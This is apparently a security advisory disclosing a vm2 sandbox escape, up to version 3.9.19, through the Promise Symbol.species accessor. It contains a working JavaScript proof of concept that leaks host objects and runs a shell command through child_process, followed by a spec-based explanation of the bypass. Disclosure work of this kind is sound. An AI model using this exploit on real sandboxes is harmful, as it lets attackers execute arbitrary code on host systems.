Sandbox Escape in [email protected] via Promise[@@species]
In vm2 for versions up to 3.9.19, Promise
handler sanitization can be bypassed with @@species
accessor property allowing attackers to escape the sandbox and run arbitrary code.
const {VM} = require("vm2");
const vm = new VM();
const code = `
async function fn() {
(function stack() {
new Error().stack;
stack();
})();
}
p = fn();
p.constructor = {
[Symbol.species]: class FakePromise {
constructor(executor) {
executor(
(x) => x,
(err) => { return err.constructor.constructor('return process')().mainModule.require('child_process').execSync('touch pwned'); }
)
}
}
};
p.then();
`;
console.log(vm.run(code));
As host exceptions in async context (Promise
) may leak host objects into the sandbox, Promise.prototype.then
is overridden with a Proxy to sanitize arguments before calling user-provided onRejected handler (commit f3db4de).
ES2022 spec for 27.2.5.4 Promise.prototype.then specifies the following steps concerning @@species
(Symbol.species
):
3. Let C be ? SpeciesConstructor(promise, %Promise%).
4. Let resultCapability be ? NewPromiseCapability(C).
5. Return PerformPromiseThen(promise, onFulfilled, onRejected, resultCapability).
27.2.1.5 NewPromiseCapability ( C ) allows a new constructor defined as the value of @@species
accessor property to be used, where a single argument executor
is passed to the constructor. executor
is a closure that receives two handlers resolve
, reject
and sets each of the values to resultCapability.[[Resolve]]
and resultCapability.[[Reject]]
.
This is used in 27.2.5.4.1 PerformPromiseThen, where steps below define promise.[[PromiseState]]
rejected
case:
8. Let rejectReaction be the PromiseReaction { [[Capability]]: resultCapability, [[Type]]: Reject, [[Handler]]: onRejectedJobCallback }.
9. If promise.[[PromiseState]] is pending, then ...
10. Else if promise.[[PromiseState]] is fulfilled, then ...
11. Else,
a. Assert: The value of promise.[[PromiseState]] is rejected.
b. Let reason be promise.[[PromiseResult]].
c. If promise.[[PromiseIsHandled]] is false, perform HostPromiseRejectionTracker(promise, "handle").
d. Let rejectJob be NewPromiseReactionJob(rejectReaction, reason).
e. Perform HostEnqueuePromiseJob(rejectJob.[[Job]], rejectJob.[[Realm]]).
27.2.2.1 NewPromiseReactionJob ( reaction, argument ) specifies the following steps, emphasis wrapped in double asterisks (**
):
1. Let job be a new Job Abstract Closure with no parameters that captures reaction and argument and performs the following steps when called:
a. Let promiseCapability be reaction.[[Capability]].
b. Let type be reaction.[[Type]].
c. Let handler be reaction.[[Handler]].
d. **If handler is empty, then**
i. If type is Fulfill, let handlerResult be NormalCompletion(argument).
ii. Else,
1. Assert: type is Reject.
2. **Let handlerResult be ThrowCompletion(argument).**
e. Else, let handlerResult be Completion(HostCallJobCallback(handler, undefined, « argument »)).
f. If promiseCapability is undefined, then
i. Assert: handlerResult is not an abrupt completion.
ii. Return empty.
g. Assert: promiseCapability is a PromiseCapability Record.
h. **If handlerResult is an abrupt completion, then**
i. **Return ? Call(promiseCapability.[[Reject]], undefined, « handlerResult.[[Value]] »).**
i. Else,
i. Return ? Call(promiseCapability.[[Resolve]], undefined, « handlerResult.[[Value]] »).
Thus, we can abuse this and leak host object into the sandbox with the following steps:
- Call an asynchronous function that throws a host exception, returning a (rejected)
Promise
object. - Overwrite the
Promise
object'sconstructor
with an object definingSymbol.species
property, where value is:- Constructor receiving
executor
closure and calling it withresolve
and (malicious)reject
handler
- Constructor receiving
- Call
then()
method of thePromise
object withonRejected
handlerundefined
.
Note that the absence (empty
ness) of onRejected
handler is not a necessary condition for exploitation. Assuming that this is not empty
, let us revisit NewPromiseReactionJob
:
1. Let job be a new Job Abstract Closure with no parameters that captures reaction and argument and performs the following steps when called:
...
d. If handler is empty, then
...
e. **Else, let handlerResult be Completion(HostCallJobCallback(handler, undefined, « argument »)).**
...
g. Assert: promiseCapability is a PromiseCapability Record.
h. **If handlerResult is an abrupt completion, then**
i. **Return ? Call(promiseCapability.[[Reject]], undefined, « handlerResult.[[Value]] »).**
i. Else,
i. Return ? Call(promiseCapability.[[Resolve]], undefined, « handlerResult.[[Value]] »).
Thus if attacker provides an onRejected
handler that throws host exception, calling this handler in step 1.e will throw and return an abrupt completion handlerResult
with handlerResult.[[Value]]
set to the host exception leaking into promiseCapability.[[Reject]]
provided by the attacker-controlled @@species
constructor.
Remote Code Execution, assuming the attacker has arbitrary code execution primitive inside the context of vm2 sandbox.
Xion (SeungHyun Lee) of KAIST Hacking Lab